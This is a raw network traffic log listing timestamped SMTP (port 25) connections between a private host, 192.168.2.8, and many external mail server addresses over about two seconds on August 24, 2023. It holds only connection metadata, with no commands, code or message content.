Aug 24, 2023 19:03:18.406688929 CEST	25	49794	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.406907082 CEST	49794	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.407321930 CEST	25	49793	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.407741070 CEST	49793	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.412652016 CEST	25	49790	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.413053036 CEST	25	49790	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.413386106 CEST	49790	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.440432072 CEST	25	49782	108.160.158.250	192.168.2.8
Aug 24, 2023 19:03:18.440995932 CEST	49782	25	192.168.2.8	108.160.158.250
Aug 24, 2023 19:03:18.443175077 CEST	25	49791	173.203.187.1	192.168.2.8
Aug 24, 2023 19:03:18.443778992 CEST	25	49791	173.203.187.1	192.168.2.8
Aug 24, 2023 19:03:18.444180012 CEST	49791	25	192.168.2.8	173.203.187.1
Aug 24, 2023 19:03:18.445466042 CEST	25	49784	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.445534945 CEST	25	49784	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.445595026 CEST	25	49784	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.445657015 CEST	49784	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.445712090 CEST	49784	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.445786953 CEST	49784	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.466423035 CEST	25	49779	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.471584082 CEST	25	49795	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.471744061 CEST	49795	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.507592916 CEST	25	49792	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.507659912 CEST	25	49792	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.508141994 CEST	25	49789	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.508163929 CEST	49792	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.509097099 CEST	25	49789	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.509375095 CEST	49789	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.511555910 CEST	25	49787	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.512670994 CEST	25	49787	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.512895107 CEST	49787	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.513952971 CEST	25	49787	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.514060020 CEST	49787	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.519870996 CEST	25	49788	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.521332979 CEST	25	49785	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:18.521547079 CEST	25	49785	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:18.521816015 CEST	49785	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:18.522042990 CEST	25	49794	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.522481918 CEST	49794	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.527204037 CEST	25	49790	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.527663946 CEST	49790	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.549925089 CEST	25	49791	173.203.187.1	192.168.2.8
Aug 24, 2023 19:03:18.554097891 CEST	25	49791	173.203.187.1	192.168.2.8
Aug 24, 2023 19:03:18.554306030 CEST	49791	25	192.168.2.8	173.203.187.1
Aug 24, 2023 19:03:18.560241938 CEST	25	49784	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.580178976 CEST	25	49793	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.580461979 CEST	49793	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.586522102 CEST	25	49795	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.586772919 CEST	49795	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.622243881 CEST	25	49792	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.622602940 CEST	49792	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.636265039 CEST	25	49794	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.636326075 CEST	25	49794	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.636622906 CEST	49794	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.648339987 CEST	49796	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:18.660162926 CEST	25	49791	173.203.187.1	192.168.2.8
Aug 24, 2023 19:03:18.664298058 CEST	25	49782	108.160.158.250	192.168.2.8
Aug 24, 2023 19:03:18.680975914 CEST	25	49789	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.682343006 CEST	25	49789	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.682400942 CEST	25	49787	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.682719946 CEST	49789	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.683311939 CEST	25	49789	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.683494091 CEST	49789	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.684267044 CEST	25	49790	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.700294971 CEST	25	49795	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.700331926 CEST	25	49795	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.700735092 CEST	49795	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.742533922 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:18.745093107 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:18.750628948 CEST	25	49794	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.750976086 CEST	49794	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.751117945 CEST	25	49793	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.752007961 CEST	25	49793	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.752327919 CEST	49793	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.777622938 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:18.777828932 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:18.778207064 CEST	25	49792	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.793675900 CEST	25	49788	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.793700933 CEST	25	49788	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.793720961 CEST	25	49788	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.793797016 CEST	49788	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.794085026 CEST	49788	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.814574003 CEST	25	49795	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.814901114 CEST	49795	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.820456982 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:18.822314024 CEST	25	49796	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:18.822514057 CEST	49796	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:18.825407028 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:18.826004028 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:18.845813036 CEST	25	49782	108.160.158.250	192.168.2.8
Aug 24, 2023 19:03:18.846322060 CEST	49782	25	192.168.2.8	108.160.158.250
Aug 24, 2023 19:03:18.852929115 CEST	25	49789	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.855025053 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:18.857398033 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:18.857793093 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:18.860979080 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:18.861831903 CEST	25	49797	67.231.158.134	192.168.2.8
Aug 24, 2023 19:03:18.861972094 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:18.887855053 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:18.888288021 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:18.897706985 CEST	25	49791	173.203.187.1	192.168.2.8
Aug 24, 2023 19:03:18.897974968 CEST	49791	25	192.168.2.8	173.203.187.1
Aug 24, 2023 19:03:18.907542944 CEST	25	49794	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.907711029 CEST	25	49788	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.922545910 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:18.926259041 CEST	25	49793	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.927407026 CEST	25	49793	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.928459883 CEST	25	49793	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:18.928464890 CEST	49793	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.928647995 CEST	49793	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:18.933252096 CEST	25	49799	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:18.933367968 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:18.956954002 CEST	25	49790	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.956989050 CEST	25	49790	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.957015991 CEST	25	49790	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.957160950 CEST	49790	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.957303047 CEST	49790	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.957303047 CEST	49790	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.969156981 CEST	25	49795	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.990127087 CEST	25	49792	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.990165949 CEST	25	49792	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.990207911 CEST	25	49792	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:18.990302086 CEST	49792	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.990628958 CEST	49792	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.990628958 CEST	49792	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:18.995348930 CEST	25	49800	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:18.995537043 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:19.003539085 CEST	25	49791	173.203.187.1	192.168.2.8
Aug 24, 2023 19:03:19.005429029 CEST	25	49791	173.203.187.1	192.168.2.8
Aug 24, 2023 19:03:19.005559921 CEST	25	49791	173.203.187.1	192.168.2.8
Aug 24, 2023 19:03:19.005573988 CEST	49791	25	192.168.2.8	173.203.187.1
Aug 24, 2023 19:03:19.005630016 CEST	49791	25	192.168.2.8	173.203.187.1
Aug 24, 2023 19:03:19.029699087 CEST	25	49782	108.160.158.250	192.168.2.8
Aug 24, 2023 19:03:19.029879093 CEST	49782	25	192.168.2.8	108.160.158.250
Aug 24, 2023 19:03:19.030397892 CEST	25	49782	108.160.158.250	192.168.2.8
Aug 24, 2023 19:03:19.030518055 CEST	49782	25	192.168.2.8	108.160.158.250
Aug 24, 2023 19:03:19.071048021 CEST	25	49790	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:19.091001987 CEST	49801	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.092120886 CEST	49802	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.097845078 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:19.097959995 CEST	49803	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.098229885 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:19.099045992 CEST	25	49793	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:19.104376078 CEST	25	49792	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:19.108409882 CEST	25	49797	67.231.158.134	192.168.2.8
Aug 24, 2023 19:03:19.108602047 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:19.109621048 CEST	25	49786	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:19.109647036 CEST	25	49786	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:19.109750986 CEST	49786	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:19.109798908 CEST	49786	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:19.127386093 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:19.127774000 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:19.175645113 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:19.182491064 CEST	25	49799	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:19.182981014 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:19.217930079 CEST	25	49794	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:19.218020916 CEST	25	49794	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:19.218398094 CEST	49794	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:19.218620062 CEST	49794	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:19.223647118 CEST	25	49801	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.223923922 CEST	49801	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.225012064 CEST	25	49797	67.231.158.134	192.168.2.8
Aug 24, 2023 19:03:19.227785110 CEST	25	49802	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.228173018 CEST	49802	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.232357979 CEST	25	49803	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.232793093 CEST	49803	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.233901978 CEST	25	49797	67.231.158.134	192.168.2.8
Aug 24, 2023 19:03:19.234406948 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:19.242710114 CEST	25	49795	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:19.242738962 CEST	25	49795	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:19.242762089 CEST	25	49795	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:19.242953062 CEST	49795	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:19.243241072 CEST	49795	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:19.247679949 CEST	25	49800	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:19.248106956 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:19.285305023 CEST	25	49786	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:19.298832893 CEST	25	49799	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:19.302301884 CEST	25	49799	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:19.302604914 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:19.319442987 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:19.332364082 CEST	25	49794	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:19.351159096 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:19.351339102 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:19.357079029 CEST	25	49795	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:19.357939959 CEST	25	49797	67.231.158.134	192.168.2.8
Aug 24, 2023 19:03:19.358176947 CEST	25	49801	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.359361887 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:19.359504938 CEST	49801	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.365243912 CEST	25	49802	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.365488052 CEST	49802	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.367702007 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:19.369916916 CEST	25	49803	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.370127916 CEST	49803	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.382636070 CEST	25	49800	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:19.382690907 CEST	25	49800	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:19.382975101 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:19.384991884 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:19.385327101 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:19.414635897 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:19.416161060 CEST	25	49799	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:19.416698933 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:19.418318033 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:19.418395996 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:19.418575048 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:19.418962955 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:19.440922022 CEST	49806	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:19.448420048 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:19.448709011 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:19.482850075 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:19.485137939 CEST	25	49797	67.231.158.134	192.168.2.8
Aug 24, 2023 19:03:19.485378027 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:19.496107101 CEST	25	49801	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.496866941 CEST	25	49801	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.497129917 CEST	49801	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.500799894 CEST	25	49802	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.501619101 CEST	25	49802	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.501773119 CEST	49802	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.502640963 CEST	25	49803	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.503571033 CEST	25	49803	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.503808975 CEST	49803	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.517888069 CEST	25	49800	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:19.518418074 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:19.530055046 CEST	25	49799	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:19.530515909 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:19.571860075 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:19.572134018 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:19.590719938 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:19.608076096 CEST	49808	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:19.608078003 CEST	49809	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:19.608798027 CEST	25	49806	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:19.608886957 CEST	49806	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:19.622509003 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:19.626425028 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:19.626693010 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:19.629739046 CEST	25	49801	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.631071091 CEST	25	49801	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.631305933 CEST	49801	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.631984949 CEST	25	49801	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.632127047 CEST	49801	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.636405945 CEST	25	49803	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.637219906 CEST	25	49802	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.638416052 CEST	25	49802	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.638869047 CEST	49802	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.639719009 CEST	25	49802	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.639928102 CEST	49802	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.641386032 CEST	25	49797	67.231.158.134	192.168.2.8
Aug 24, 2023 19:03:19.643275976 CEST	25	49797	67.231.158.134	192.168.2.8
Aug 24, 2023 19:03:19.643440008 CEST	25	49799	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:19.646076918 CEST	25	49803	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.646534920 CEST	49803	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.647104979 CEST	25	49803	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.647213936 CEST	49803	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:19.653333902 CEST	25	49800	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:19.653618097 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:19.673804998 CEST	49810	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:19.677783966 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:19.679117918 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:19.691256046 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:19.691401958 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:19.704714060 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:19.704904079 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:19.734302998 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:19.734349012 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:19.735006094 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:19.763768911 CEST	25	49801	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.774362087 CEST	25	49802	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.778263092 CEST	25	49806	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:19.778470993 CEST	49806	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:19.779052973 CEST	25	49803	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:19.779751062 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:19.779884100 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:19.780348063 CEST	25	49809	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:19.780431986 CEST	49809	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:19.785032034 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:19.788285017 CEST	25	49800	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:19.790952921 CEST	25	49808	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:19.791120052 CEST	49808	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:19.812216997 CEST	25	49810	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:19.812388897 CEST	49810	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:19.824486971 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:19.824696064 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:19.825202942 CEST	49811	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:19.831646919 CEST	49812	25	192.168.2.8	66.133.129.79
Aug 24, 2023 19:03:19.831963062 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:19.875154972 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:19.875595093 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:19.925734997 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:19.939148903 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:19.939392090 CEST	49811	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:19.945602894 CEST	25	49812	66.133.129.79	192.168.2.8
Aug 24, 2023 19:03:19.945862055 CEST	49812	25	192.168.2.8	66.133.129.79
Aug 24, 2023 19:03:19.946183920 CEST	25	49806	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:19.951567888 CEST	49813	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:19.990655899 CEST	49814	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:19.999322891 CEST	25	49796	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:19.999361992 CEST	25	49796	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:19.999449968 CEST	49796	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:19.999574900 CEST	49796	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:20.007169008 CEST	25	49810	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:20.007564068 CEST	49810	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:20.042378902 CEST	49815	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:20.053975105 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:20.059276104 CEST	49811	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:20.063281059 CEST	25	49806	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:20.063481092 CEST	49806	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:20.078388929 CEST	25	49813	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:20.078623056 CEST	49813	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:20.122765064 CEST	49816	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:20.145279884 CEST	25	49810	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:20.145369053 CEST	25	49810	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:20.145520926 CEST	49810	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:20.159286976 CEST	25	49809	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:20.159482002 CEST	49809	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:20.161179066 CEST	25	49814	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:20.161303997 CEST	49814	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:20.173358917 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:20.173398018 CEST	25	49811	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:20.173423052 CEST	25	49796	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:20.173664093 CEST	49811	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:20.209373951 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:20.209829092 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:20.214834929 CEST	25	49815	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:20.214869022 CEST	25	49812	66.133.129.79	192.168.2.8
Aug 24, 2023 19:03:20.215006113 CEST	49815	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:20.215573072 CEST	49812	25	192.168.2.8	66.133.129.79
Aug 24, 2023 19:03:20.223720074 CEST	49817	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:20.231364965 CEST	25	49806	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:20.232500076 CEST	25	49806	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:20.232737064 CEST	49806	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:20.233742952 CEST	25	49806	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:20.233814001 CEST	49806	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:20.283878088 CEST	25	49810	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:20.283943892 CEST	25	49810	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:20.284389019 CEST	49810	25	192.168.2.8	144.160.235.143
